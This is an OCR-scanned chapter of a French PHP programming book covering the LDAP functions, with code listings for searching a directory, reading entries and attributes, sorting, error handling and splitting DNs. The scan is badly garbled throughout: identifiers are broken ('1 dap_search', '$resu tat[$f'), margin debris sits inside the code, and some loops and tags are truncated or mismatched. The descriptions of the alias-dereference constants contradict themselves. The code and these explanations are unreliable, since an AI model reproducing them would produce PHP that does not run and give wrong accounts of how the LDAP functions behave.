$resultat = ldap_rename($idLdap, $dn, $rdn, $baseDn, TRUE); 
if ($resultat) 

{ 

echo "L'entree a ete copiee !<br />"; 
} else { 

echo "L'entree n'a pas ete copiee !<br />"; 
// Affichage de l'erreur 
echo ldap_error($idLdap) ; 

} 

// Disconnexion de l'annuaire 
ldap_close($idLdap) ; 

?> 



Recherche dans un annuaire LDAP 

La recherche dans un annuaire s'effectue en deux etapes : 

Lancement de la recherche ; 
Recuperation des resultats. 



Lancement d'une recherche dans un annuaire 

La recherche dans un annuaire LDAP peut etre effectuee de plusieurs facons : 

Rechercher une correspondance sur un niveau ; 
■ Rechercher une correspondance sur plusieurs niveaux ; 
Rechercher une correspondance sur une entree specifique. 

Recherche dans un annuaire sur un niveau 

La recherche sur un niveau s'effectue par l'appel a l'instruction idap_list ( ) . 
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ldap_list() 

Recherche a l'aide d'un filtre les entrees sur un niveau. 

Syntaxe resource ldap_list (resource $idLdap, string $baseDn, string 

$filtre [, array $attributs [, int $attri butsSeul [, int 
$nbLimit [, int $tempsExecution [, int $alias]]]]]) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$baseDn Le DN (Distinguished Name) indiquant la base de votre recherche. 

$f i 1 tre Filtre LDAP permettant de recuperer les informations demandees. i 

$attributs Parametre optionnel permettant de ne recevoir que les attributs desires. 

I— CO 

$attri butsSeul Parametre indiquant de ne retourner que les noms des attributs sans leurs g w 

valeurs. (valeur par defaut) indique de recuperer les valeurs et les "o = 

attributs, 1 indique que seuls les attributs sont retournes. 2J_ 

$ n b L i m i t Indique le nombre de resultats a recuperer. Par defaut, la valeur est fixee a ™ 

0, ainsi tous les resultats de la recherche sont renvoyes. 

$tempsExecuti on Indique la duree maximale d'une recherche en secondes. Par defaut, la 
valeur est fixee a 0, c'est-a-dire qu'il n'y a pas de limite sinon celle fixee par 
le serveur LDAP. 

$alias Parametre indiquant comment les alias des attributs doivent etre 

considered. Utilisez l'une des constantes suivantes : 
LDAP_DEREF_NEVER (valeur par defaut), indique que les alias ne 
peuvent etre utilises pour effectuer la recherche. 

LDAP_DEREF_S EARCH ING, indique que les alias ne peuvent pas etre 
utilises pour la recherche, mais que, lors du renvoi des resultats, ceux-ci 
sont utilises. 

LDAP_DEREF_FINDING, indique que les alias sont utilises pour la 
recherche, mais que le resultat ne les prend pas en compte. 
LDAP_DEREF_ALWAYS, indique que les alias ne sont jamais pris en 
compte, ni pour la recherche ni pour le resultat. 

retour Pointeur sur le resultat de la recherche. 

Recherche dans un annuaire sur plusieurs niveaux 

Pour effectuer une recherche sur plusieurs niveaux, nous utiliserons la fonction 

ldap_search ( ) . 



ldap_search() 

Recherche a l'aide d'un filtre les entrees sur plusieurs niveaux d'un annuaire LDAP. La 
recherche est effectuee sur le DN de la base, puis sur toutes les branches au-dessus. 
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Syntaxe resource 1 dap_search (resource $idLdap, string $baseDn, string 

$filtre [, array $attributs [, int $attri butsSeul [, int 
$nbLimit [, int $tempsExecution [, int $alias]]]]]) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$baseDn Le DN (Distinguished Name) indiquant le premier niveau ou commencer 

votre recherche. 

$f i 1 tre Filtre LDAP permettant de recuperer les informations demandees. 

$attri buts Parametre optionnel permettant de ne recevoir que les attributs desires. 

$attri butsSeul Parametre indiquant de ne retourner que les noms des attributs sans leurs 
valeurs. (valeur par defaut) indique de recuperer les valeurs et les 
attributs, 1 indique que seuls les attributs sont retournes. 

$nbLi mi t Indique le nombre de resultats a recuperer. Par defaut, la taille est fixee a 

0, ainsi tous les resultats de la recherche sont renvoyes. 

$tempsExecuti on Indique la duree maximale d'une recherche en secondes. Par defaut, la 
valeur est fixee a 0, c'est-a-dire qu'il n'y a pas de limite sinon celle fixee par 
le serveur LDAP. 

$al i as Parametre indiquant comment les alias des attributs doivent etre 

considered. Utilisez 1'une des constantes suivantes : 
LDAP_DEREF_NEVER (valeur par defaut), indique que les alias ne 
peuvent etre utilises pour effectuer la recherche. 

LDAP_DEREF_S EARCH ING, indique que les alias ne peuvent pas etre 
utilises pour la recherche, mais que, lors du renvoi des resultats, ceux-ci 
sont utilises. 

LDAP_DEREF_FINDING, indique que les alias sont utilises pour la 
recherche, mais que le resultat ne les prend pas en compte. 
LDAP_DEREF_ALWAYS, indique que les alias ne sont jamais pris en 
compte, ni pour la recherche ni pour le resultat. 

retour Pointeur sur le resultat de la recherche. 

Recherche dans une entree 

Pour effectuer votre recherche sur une entree et uniquement sur celle-ci, vous devez utiliser la 
fonction ldap_read ( ) . 



ldap_read() 



Recherche a l'aide d'un filtre sur une entree specifique. La recherche est effectuee sur le DN 
specifie en parametre. 

Syntaxe resource 1 dap_read (resource $idLdap, string $baseDn, string 

$filtre [, array $attributs [, int $attri butsSeul [, int 
$nbLimit [, int $tempsExecution [, int $alias]]]]]) 
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$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$baseDn Le DN (Distinguished Name) indiquant l'entree ou vous voulez effectuer 

votre recherche. 

$f i 1 tre Filtre LDAP permettant de recuperer les informations demandees. 

$attri buts Parametre optionnel permettant de ne recevoir que les attributs desires. 

$attri butsSeul Parametre indiquant de ne retourner que les noms des attributs sans leurs 
valeurs. (valeur par defaut) indique de recuperer les valeurs et les 
attributs, 1 indique que seuls les attributs sont retournes. 

$nbLi mi t Indique le nombre de resultats a recuperer. Par defaut, la taille est fixee a 

0, ainsi tous les resultats de la recherche sont renvoyes. _i 

$tempsExecuti on Indique la duree maximale d'une recherche en secondes. Par defaut la |- 
valeur est fixee a , c'est-a-dire qu'il n'y a pas de limite sinon celle fixee par i— 3? 

le serveur LDAP. 

$alias Parametre indiquant comment les alias des attributs doivent etre 

considered. Utilisez l'une des constantes suivantes : 
LDAP_DEREF_NEVER (valeur par defaut), indique que les alias ne 
peuvent etre utilises pour effectuer la recherche. 

LDAP_DEREF_SEARCHING, indique que les alias ne peuvent pas etre 
utilises pour la recherche, mais que, lors du renvoi des resultats, ceux-ci 
sont utilises. 

LDAP_DEREF_F IND I NG, indique que les alias sont utilises pour la 
recherche, mais que le resultat ne les prend pas en compte. 
LDAP_DEREF_ALWAYS, indique que les alias ne sont jamais pris en 
compte, ni pour la recherche ni pour le resultat. 

retour Pointeur sur le resultat de la recherche. 
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Exemple de recherche 

Cet exemple va vous montrer les differences existant entre ces trois fonctions : 

Listing 11.5 : recherche.php 

<html> 
<body> 

<?php 

// Connexion a 1' annual re 

$i dLdap = ldap_connect("localhost",389) ; 

if (!ldap_bind ($i dLdap)) { 

die("La connexion n'a pas ete ef fectuee. ") ; 

} 



echo "Recherche avec ldap_list()<br />"; 

$recherche = ldap_l i st ($i dLdap, "dc=kangouroo,dc=homel i nux,dc=org" , 

"objectcl ass=*") ; 
$resultat = ldap_get_entries($idLdap, $recherche) ; 
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echo "II y a ".$resultat["count"] ." resultats<br />"; 
for ($i=0; $i<$resultat["count"] ; $i++) 

{ 

echo $resul tat [$i] [ 1 dn 1 ] ."<br />"; 

} 

echo "<br />"; 

echo "Recherche avec ldap_search()<br />"; 

$recherche = 1 dap_search ($i dLdap, "dc=kangouroo,dc=homel i nux,dc=org" , 

"objectcl ass=*") ; 

$resultat = ldap_get_entries($idl_dap, $recherche) ; 

M echo "II y a ".$resultat["count"] ." resultats<br />"; 

E for ($i=0; $i<$resul tat["count"] ; $i++) 

I { 

= ^ echo $resultat[$i] ['dn'] ."<br />"; 

eo q } 

W -1 I II L /II 

aj echo <br /> ; 

t- echo "Recherche avec ldap_read()<br />"; 

$recherche = ldap_read($idLdap, "dc=kangouroo,dc=homel i nux,dc=org" , 

"objectcl ass=*") ; 
$resultat = ldap_get_entries($idLdap, $recherche) ; 

echo "II y a ".$resultat["count"] ." resultats<br />"; 
for ($i=0; $i<$resultat["count"] ; $i++) 

{ 

echo $resul tat [$i] ['dn'] ."<br />"; 

} 

ldap_close($idLdap) ; 

?> 

</body> 
</tabl e> 

Vous devez retrouver plus de resultats avec la fonction ldap_search ( ) , car celle-ci va scanner 
les entrees fils. La fonction ldap_list ( ) , quant a elle, ne vous retournera que les reponses qui 
se trouvent directement en dessous de 1'entree que vous avez specifiee. ldap_read( ) ne vous 
retournera qu'un seul resultat. 

Recuperer les resultats d'une recherche 

Apres avoir effectue votre recherche, il faut recuperer les resultats. La encore, plusieurs 
fonctions sont mises a votre disposition. Vous pouvez, a l'aide de celles-ci, recuperer les 
resultats de plusieurs fagons : 

■ Recuperer les resultats en une fois ; 
Recuperer les resultats un a un. 
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Recuperer les resultats en une fois 

Pour recuperer les resultats d'une recherche, vous pouvez utiliser Pinstruction 

ldap_get_entries ( ) . 



ldap_get_entries() 

Retourne un tableau contenant tous les elements, attributs et valeurs pour une recherche. 

Syntaxe array ldap_get_entries (resource $idl_dap, resource $i dResul tat) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap connect)). cd 



$i dResul tat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 



03 

fonctions ldap_search ( ) , ldap_list ( ) ou ldap_read ( ) . "° c 

22 

retour Tableau contenant tous les resultats de la recherche. 3 



Le tableau resultant de l'execution de l'instruction ldap_get_attributes ( ) se presente 
comme ceci : 

<?php 

$resultat[0] // est le premier elements 
$resultat[n] // est 1 'element n de votre recherche 
$resul tat ["count"] // indique le nombre d 1 elements 
// retournes par votre recherche 
$resul tat [0] [dn] // indique le DN de 1 'elements 
$resul tat [n] ["count"] // Nombre d'attributs pour 1 'element n 
$resultat[n] [0] // Norn de l'attribut 
$resul tat [n] [n] // Norn de l'attribut n 
$resul tat [n] [attri but] // Tableau contenant les valeurs 

// de l'attribut designe 
$resul tat [n] [attri but] [0] // Valeur de l'attribut 
$resul tat [n] [attri but] [n] // Valeur n de l'attribut 
$resul tat [n] [attri but] ["count"] // Nombre de valeurs pour l'attribut 



Executez le script suivant en l'adaptant a votre annuaire LDAP pour recuperer lisiblement sur 
l'ecran les donnees du tableau : 

<?php 

// Effectuez ici votre connexion a 1 'annuaire 
// Recherche avec le filtre objectcl ass=person 

$recherche = ldap_l ist($idl_dap, "dc=domai ne,dc=com" , "objectcl ass=person") ; 
$resultat = ldap_get_entries($idLdap, $recherche); 
print_r($resultat) ; 

// Fermez votre connexion a 1' annuaire 

?> 



923 



Chapitre 1 1 Les annuaires LDAP 



Voici maintenant un exemple de connexion a un annuaire LDAP et d'affichage des resultats. 
Ici, nous recuperons les donnees provenant d'un serveur ILS, qui est un annuaire d'utilisateurs 
de Netmeeting (logiciel de visioconference), et nous affichons le resultat dans un tableau. 



Listing 11.6 : netmeeting.php 

<html> 
<head> 

<ti tl e>Recherche dans un annuaire netmeeti ng</ti tl e> 
</head> 
<body> 

g» <?php 

.± // Connexion a 1 'annuaire 

= $i dLdap = ldap_connect("ils. advalvas.be", 389); 

|< if (!ldap_bind($idl_dap)){ 

M 3 die("La connexion n'a pas ete effectuee. ") ; 

" } 

$recherche = ldap_list($idLdap, "objectcl ass=rtperson" , 

"(&(cn=%) (objectclass=rtperson))") ; 
$resultat = ldap_get_entries($idLdap, $recherche) ; 

?> 

<table border="0" width="100%"> 
<tr> 

<td colspan="5"> 

II y a <?php echo $resul tat["count"] ;?> resultats 
</td> 
</tr> 
<tr> 

<td colspan="5"> 

<hr /> 
</td> 
</tr> 
<tr> 
<td> 

Norn 
</td> 
<td> 

Prenom 
</td> 
<td> 

vi 1 1 e 
</td> 
<td> 

mai 1 
</td> 
<td> 

Commentai re 
</td> 
</tr> 
<?php 
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for ($i=0; $i<$resultat["count"] ; $i++) 

{ 



echo 


"<tr>" ; 










echo 


" <td>" 


$resu 


tat[$f 


['en'] [0] ."</td 


>" ; 


echo 


" <td>" 


.$resu 


tat[$f 


['surname'] [0] . 


'</td>"; 


echo 


" <td>" 


$resu 


tat[$f 


['location'] [0] 


."</td>"; 


echo 


" <td>" 


$resu 


tat[$f 


['rfc822mailbox 


'][0]."</td> 


echo 


" <td>" 


$resu 


tat[$f 


['comment'] [0] . 


■</td>"; 


echo 


"</tr>"; 











} 

?> 

</tabl e> 
<? 

ldap_close($idLdap) ; 

?> 

</body> 
</tabl e> 

L TLS n 'est pas un annuaire LDAP 

Les serveurs d'annuaires de visioconferences ne sont pas des annuaires LDAP. 
Ceux-ci possedent un schema particulier permettant au logicielde visioconference de 
s'enregistrer dessus et d'effectuer, toutes les x secondes, des connexions maintenant 
I 'entree dans V annuaire. Dans le cas contraire, celle-ci est supprimee. L'interrogation 
utilise le protocole LDAP, ce qui nous permet d'utiliser PHP pour interroger le 
serveur. 

Vous pouvez, a I'aide d'OpenLDAP, vous construire un annuaire LDAP. Le "howto" 
(en anglais) que vous trouverez sur la page http:llwww.freesoft.org/software/NetMeeting/ 

vous explique comment modifier V annuaire afin qu'il supporte le protocole tres par- 
ticulier de Netmeeting. 



Recuperer les resultats un a un 

L'affichage de la recherche element par element est compose de plusieurs etapes : 

Creation d'un pointeur sur le premier element de notre recherche ; 
Recuperation des donnees de cet element ; 
Deplacement du pointeur sur l'element suivant. 

Retourner un identifiant sur le premier element 

Pour recuperer l'identifiant du premier element de notre recherche, nous utilisons la fonction 

ldap_f irst_entry ( ) . 
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ldap_first_entry() 

Retourne un pointeur sur le premier element resultant de notre recherche. 

Syntaxe resource 1 dap_f i rst_entry (resource $idLdap, resource 

$idResultat) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResultat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 

fonctions ldap_search ( ) , ldap_list ( ) ou ldap_read ( ) . 

retour Identifiant sur le premier element de la recherche. Retourne FALSE en cas 

d'erreur ou lorsque la recherche n'a retourne aucun resultat. 

Recuperation des donnees d'un element 

La recuperation des resultats d'un element se fait par l'appel a la fonction 

ldap_get_attributes ( ) . 



ldap_get_attributes () 

Retourne les attributs et leurs valeurs composant l'element. 



Syntaxe 


array ldap get attri butes (resource link identifier, resource 




$idEntree) 


$i dLdap 


Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 




fonction ldap_connect ( ) . 


$idEntree 


Identifiant sur l'element tel qu'il est retourne par l'instruction 




ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 


retour 


Tableau contenant les differents attributs et les valeurs composant 




l'element. 



Deplacer le pointeur sur l'element suivant 

Le pointeur est deplace sur l'element suivant par l'utilisation de l'instruction 

ldap_next_entry ( ) . 



ldap_next_entry() 

Deplace le pointeur sur l'element suivant de la recherche. 

Syntaxe resource 1 dap_next_entry (resource $idLdap, resource $idEntree) 
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$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur 1'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

retour Identifiant sur 1'element suivant de la recherche, ou FALSE en cas d'erreur 

ou lorsque la recherche ne trouve plus aucun resultat. 



Exemple de recherche 



Listing 11.7 : Idap get attributes.php 

<html> 
<body> 

<?php 

// Connexion a 1' annual re 
$idLdap = 1 dap_connect ("1 ocal host" ,389) ; 
// Authentication sur l'annuaire 
if (!ldap_bind($idLdap)){ 

die("La connexion n'a pas ete ef fectuee. ") ; 

} 



// Recherche avec le filtre objectcl ass=person 

$recherche = ldap_l ist($idLdap, "dc=domai ne,dc=com" , "objectcl ass=person") ; 

// On recupere la premiere entree 

$entree = ldap_first_entry($idLdap, $recherche); 

// Tant qu'il y a des reponses on recupere les differents attributs 
while($entree) { 

$resultat = ldap_get_attributes($idLdap, $entree) ; 

// Boucle suivant le nombre d'attributs trouves 

// dans la recherche 

for($i=0; $i<$resultat['count'] ; $i++ ){ 

// Affichage de l'attribut 

echo "$resultat[$i]="; 

// Affichage du resultat, la boucle est utile si l'attribut 

// possede de multiples valeurs 

for( $j=0; $j<$resultat[$resultat[$i]] ['count'] 

{ 

echo $resultat[$resultat[$i]] [$j] ." "; 

} 

} 

echo "<hr />"; 

// On passe a l'attribut suivant 

$entree = ldap_next_entry($idLdap, $entree); 

} 
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// Fermeture de la connexion avec l'annuaire 
ldap_close($idLdap) ; 

?> 

</body> 
</tabl e> 

Autre methode 

Nous pouvons egalement recuperer les attributs les uns apres les autres pour chaque element 
retourne par notre recherche. Pour cela, apres avoir recupere le premier element, nous faisons 
appel a l'instruction ldap_f irst_attribute ( ) . 



ldap_first_attribute () 

Recupere le nom du premier attribut d'un element. 

Syntaxe string 1 dap_f i rst_attri bute(resource $idLdap, resource 

$idEntree, resource &$i dAttri but) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur l'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

$i dAttri but Identifiant passe par reference. Utilise par la suite par 

ldap_next_attribute ( ) . 

retour Nom du premier attribut de l'element, ou FALSE en cas d'erreur. 

Pour recuperer les differents attributs suivants, il faut utiliser l'instruction 

ldap_next_attribute ( ) . 



ldap_next_attribute () 



Recupere les noms des differents attributs d'un element. 

Syntaxe string 1 dap_next_attri bute (resource $idLdap, resource 

$idEntree, resource &$i dAttri but) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idEntree Identifiant sur l'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

$i dAttri but Identifiant passe par reference. Chacun des appels a cette instruction fait 

avancer ce pointeur sur l'attribut suivant. 

retour Nom du premier attribut de l'element, ou FALSE en cas d'erreur. 
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Nous pouvons ensuite recuperer les differentes valeurs de l'attribut en appelant les fonctions 

ldap__get_values ( ) OU ldap_get_values_len ( ) . 

La fonction ldap_get_vaiues ( ) recupere les differentes valeurs de l'attribut specifie. 



ldap_get_values() 

Retourne la ou les valeurs de l'attribut dans un tableau. 

Syntaxe array 1 dap_get_val ues (resource $idLdap, resource $idEntree, 

string $attribut) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 



CO 
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$idEntree Identifiant sur l'element tel qu'il est retourne par l'instruction "o = 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 2i. 

— * 

$attribut Nom de l'attribut. co 

retour Tableau contenant les differentes valeurs. 



Le tableau resultant de l'execution de l'instruction ldap_get_vaiues ( ) se presente comme 
ceci : 

<?php 

$resultat[0] // premiere valeur de l'attribut 
$resultat[n] // valeur n de l'attribut 

$resul tat ["count"] // indique le nombre de valeur de l'attribut 

?> 



Voici un exemple complet qui permet de comprendre comment recuperer les elements, les 
attributs et chacune des valeurs correspondantes. 

<html> 
<body> 

<?php 

// Connexion a l'annuaire 
$idLdap = ldap_connect("localhost",389) ; 
// Authentication sur l'annuaire 
if (!ldap_bind ($i dLdap)) { 

die("La connexion n'a pas ete effectuee. ") ; 

} 

// Recherche avec le filtre objectclass=person 

$recherche = ldap_l ist($idLdap, "dc=domai ne,dc=com" , "objectcl ass=person") ; 

// On recupere la premiere entree 

$entree = ldap_first_entry($idLdap, $recherche); 

// Tant qu'il y a des reponses on recupere les differents attributs 
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while($entree) { 

// On recupere le premier attribut 

$attribut = ldap_first_attribute($idLdap, $entree, $i dReference) ; 
// Affichage du resultat, la boucle est utile si 1 'attribut 
// possede de multiples valeurs 
while($attribut) { 

// Affichage du nom de 1 'attribut 

echo $attribut. " ($i dReference) =" ; 

// Recuperation des valeurs de 1 'attribut 

$valeurs = 1 dap_get_val ues ($i dLdap, $entree, $attribut); 

for($i=0; $i<$val eurs ["count"] ; $i++) 

{ 

// Affichage des differentes valeurs 
echo $valeurs [$i] . " ($i dReference)<br />"; 

} 

$attribut = ldap_next_attribute($idLdap, $entree, $i dReference) ; 



// On passe a 1 'attribut suivant 

$entree = ldap_next_entry($idl_dap, $entree); 

} 

// Fermeture de la connexion avec l'annuaire 
ldap_close($idLdap) ; 

?> 

</body> 
</tabl e> 

La fonction ldap_get_vaiues ( ) ne permet pas de recuperer les valeurs des attributs binaires. 
Pour cela, vous devez utiliser l'instruction ldap_get_vaiues_ien ( ) . Cette fonction retourne 
tous les elements, ainsi que les elements binaires. 




echo "<hr />"; 
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ldap_get_values_len () 



Recupere la ou les valeurs des attributs binaires. 



$i dLdap 



Syntaxe 



array 1 dap_get_val ues_l en (resource $i dLdap, resource 
$idEntree, string $attribut) 

Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 
fonction ldap_connect ( ) . 



$idEntree 



Identifiant sur 1'element tel qu'il est retourne par l'instruction 

ldap_f irst_entry ( ) ou ldap_next_entry ( ) . 

Nom de 1'attribut. 



$attri but 



retour 



Tableau contenant les differentes valeurs. 
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L'utilisation de l'instruction ldap_get_vaiues_ien ( ) est identique a celle de l'instruction 

ldap_get_values ( ) . 

Ordonner les reponses 

Vous pouvez ordonner les reponses en utilisant la fonction idap_sort ( ) . 



ldap_sort() 

Ordonne les resultats dans 1'ordre alphabetique. 



Syntaxe boolean 1 dap_sort (resource $idLdap, resource $idResultat, i— S3 

stri ng $f i 1 tre) > 2j 

-a = 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la g 

fonction ldap_connect ( ) . JS 

CO 

$idResultat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 

fonctions ldap_search ( ) et ldap_list ( ) . 

$f i 1 tre Indique quel est l'attribut qui permet d'ordonner les resultats. 

retour TRUE si les resultats ont bien ete ordonnes, FALSE dans le cas contraire. 

Prenez bien garde a ordonner vos resultats avant de faire appel a la fonction 
ldap_get_entries ( ) , car la fonction n'aurait alors aucun effet. 



Compter les resultats d'une recherche 

II existe deux facons de determiner le nombre d'enregistrements retournes par une recherche 
dans l'annuaire. 

Si vous avez effectue une recherche et recupere les resultats a l'aide de la fonction 
ldap_get_entries ( ) , vous pouvez simplement retrouver le nombre d'entrees depuis le 
tableau qui vous est retourne de la facon suivante : $tableau [ " count 11 ] . 

<?php 

$recherche = ldap_l ist($idLdap,"dc=domaine,dc=com " , "objectcl ass=person") ; 
$resultat = ldap_get_entries($idl_dap, $recherche) ; 
// Affichage du nombre d'entrees 

echo "II y a " .$resul tat ["count"] . " entrees pour votre recherche !"; 

?> 



Si vous avez utilise l'instruction ldap_get_attributes ( ) , alors vous ne pouvez retrouver le 
nombre d'elements retournes par votre recherche depuis le tableau de resultat (mais seulement 
le nombre d'attributs). Dans ce cas, vous pouvez utiliser la fonction : 
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ldap_count_entries () 

Retourne le nombre de resultats d'une recherche. 

Syntaxe int 1 dap_count_entri es (resource $idLdap, resource $idResultat) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResultat Identifiant sur le resultat de la recherche tel qu'il est retourne par les 

fonctions ldap_search ( ) , ldap_list ( ) ou ldap_read ( ) . 

retour Entier indiquant le nombre de resultats de la recherche, ou FALSE en cas 

d'erreur. 

Comparer un attribut avec une valeur 

Plus rapide que d'effectuer une recherche, vous pouvez simplement comparer la valeur d'un 
attribut avec une donnee. Cela vous permet, par exemple, de verifier un mot de passe dans 
l'annuaire. On utilise, pour cela, l'instruction idap_compare ( ) . 



ldap_compare() 

Compare la valeur d'un attribut avec une chaine passee en parametre. A noter que l'instruction 
est insensible a la casse des caracteres. 



Syntaxe 


boolean ldap compare (resource $idLdap, string $dn, string 




$attribut, string $valeur) 


$i dLdap 


Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 




fonction ldap_connect ( ) . 


$dn 


DN de l'entree a verifier. 


$attribut 


Attribut qui contient la chaine a comparer. 


$val eur 


Chaine de caracteres a comparer avec $attribut. 


retour 


TRUE si les valeurs sont identiques, FALSE dans le cas contraire. 



Liberer la memoire 

Si vous effectuez des recherches lourdes et successives, vous pouvez avoir des problemes de 
memoire. Par defaut, lorsque vous fermez votre connexion, la memoire est automatiquement 
liberee. Mais, dans le cas ou votre programme effectue des requetes successives, vous serez 
alors amene a liberer la memoire entre chaque transaction. La fonction idap_f ree_resuit ( ) 
libere la memoire en vidant les resultats precedents. 



L'interrogation de LDAP avec PHP 



ldap_free_result() 

Vide la memoire et efface les resultats obtenus precedemment. 



Syntaxe boolean 1 dap_free_resul t (resource $idLdap) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour TRUE si la memoire a ete liberee, FALSE dans le cas contraire. 



Gestion des erreurs i 

Trois fonctions permettent de retrouver les differents messages d'erreur qui peuvent survenir. ca 

Ces fonctions SOnt ldap_errno ( ) , ldap_error ( ) OU ldap_err2str ( ) . 5 os 

*" = 

-a = 
c 
n 

- r" 
CD 

CO 

ldap_errno() 

Recupere le numero de la derniere erreur rencontree par LDAP. 
Syntaxe int ldap_errno (resource $idLdap) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour Entier indiquant le numero de l'erreur. indique que l'operation a ete 

effectuee avec succes. 



ldap_error() 

Recupere le message de la derniere erreur rencontree par LDAP. 
Syntaxe string 1 dap_error (resource $idLdap) 

$ i d Ldap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

retour Message d'erreur. 

Vous pouvez retrouver ce message d'erreur depuis le numero retourne par ldap_errno ( ) 
simplement en faisant appel a l'instruction ldap_err2str ( ) . 
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ldap_err2str() 

Retourne le message associe au numero de l'erreur. 

Syntaxe string 1 dap_err2str (i nt $numErreur) 

$numErreur Numero de l'erreur. 

retour Message d'erreur. 

Pour consulter les differents messages possibles, lancez le script suivant : 
<?php 

for($i=0;$i<100;$i++) 

{ 

$message = 1 dap_err2str($i ) ; 

echo "$i  :   "; 

echo $message. "<br />"; 

} 

?> 



Operation sur le Distinguished Name (DN) 
Recuperer le DN 

Nous avons vu que, lorsque nous effectuons une recherche et que nous recuperons les resultats 
par l'instruction ldap_get_entries ( ) , nous pouvons recuperer le DN simplement depuis le 
tableau retourne : $tabieau[$n] ["dn"]. Si nous recuperons les resultats un a un avec la 
fonction idap_get_attributes ( ) , nous devrons avoir recours a l'instruction 

ldap_get_dn ( ) . 



ldap_get_dn() 

Permet de recuperer le DN par rapport a un resultat de l'entree. 

Syntaxe string 1 dap_get_dn (resource $idLdap, resource $idEntree) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$idResultat Identifiant sur l'entree tel qu'il est retourne par les fonctions 

ldap_f irst_entry ( ) . 

retour LeDN (Distinguished Name). 
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Conversion de format 

Une fonction particuliere permet de convertir le DN dans un format plus convivial, l'UFN 
(User Friendly Naming). Ce format enleve les noms des RDN (Relative Distinguished Name) 
du DN, et ne retourne que leurs valeurs separees par des virgules. 



Idap_dn2ufn() 

Nettoie le DN des noms des RDN qui le composent. 



Syntaxe string ldap_dn2ufn (string $dn) r 1 

$dn DN a convertir. " 

retour Chaine de caracteres contenant le DN sans les noms des RDN. > H 

-a = 

<?php | 



$dn = "cn=Laurent GUEDON,ou=devel oppement, o=tild, c=france"; 
echo 1 dap_dn2ufn ($dn) ; 

?> 

Laurent GUEDON,devel oppement, tild, france 

Recuperer les composantes du DN 

La fonction ldap_explode_dn ( ) permet de recuperer les differentes valeurs des RDN 
(Relative Distinguished Name) du DN, accompagne ou non de l'identifiant de ces RDN. 



ldap_explode_dn () 

Retourne un tableau contenant les differentes composantes du DN. 

Syntaxe array 1 dap_expl ode_dn (stri ng $dn, int $sansRdn) 

$ d n DN a convertir. 

SsansRdn Indique de retourner uniquement les valeurs des RDN sans leurs 

identifiants. 

retour Tableau contenant le DN ainsi decoupe. 

<?php 

$dn = "cn=Laurent GUEDON,ou=devel oppement, o=tild, c=france"; 
echo "affiche le tableau avec les noms des RDN\n"; 
$tableau = ldap_explode_dn($dn, 0); 
print_r($tableau) ; 
echo "\n"; 

echo "affiche le tableau sans les noms des RDN\n"; 
$tableau = ldap_explode_dn($dn, 1); 
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pn'nt_r($tableau) ; 

?> 

affiche le tableau avec les noms des RDN 

Array 

( 

[count] => 4 

[0] => cn=Laurent GUEDON 

[1] => ou=developpement 

[2] => o=tild 

[3] => c=france 

) 

affiche le tableau sans les noms des RDN 

Vt 

£ Array 

I ( 

= ^ [count] => 4 

w Q [0] => Laurent GUEDON 

aj [1] => developpement 

^ [2] => tild 

[3] => france 

) 



Operation sur les options 
Modifier une option LDAP 

Pour modifier une option LDAP, nous utiliserons la fonction idap_set_option ( ) . 



ldap_set_option() 

Modifie une option de l'annuaire LDAP. 

Syntaxe boolean 1 dap_set_opti on (resource $idLdap, int $option, mixed 

$nouvel 1 eVal eur) 

$i dLdap Identifiant sur la connexion au serveur LDAP tel qu'il est retourne par la 

fonction ldap_connect ( ) . 

$opti on Identifiant de l'option a modifier. 

$nouvel 1 eVal eur Nouvelle valeur a donner a l'option. 

retour TRUE en cas de succes du changement de l'option, FALSE dans le cas 

contraire. 
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Tableau 11.1 : Les differentes options modifiables par ldap_set_option() 



Option 




Description 


LDAP_ 


OPTJDEREF 


Ce parametre indique comment les alias des attributs doivent etre 
considered. Utilisez I'une des constantes suivantes : 
LDAP_DEREF_NEVER, indique que les alias peuvent etre utilises 
pour effectuer la recherche. 

LDAP_DEREF_SEARCHING, indique que les alias ne peuvent pas 
etre utilises pour la recherche, mais que, lors du renvoi des resultats, 
ceux-ci sont utilises. 

/ DAP DFRFF FINDING inriinnp nnp Ip^ <?nnt ntilicipc: nnnr la 

recherche, mais que le resultat ne les prend pas en compte. 

LDAP _DEREF_AL\N AYS, indique que les alias ne sont jamais pris en 

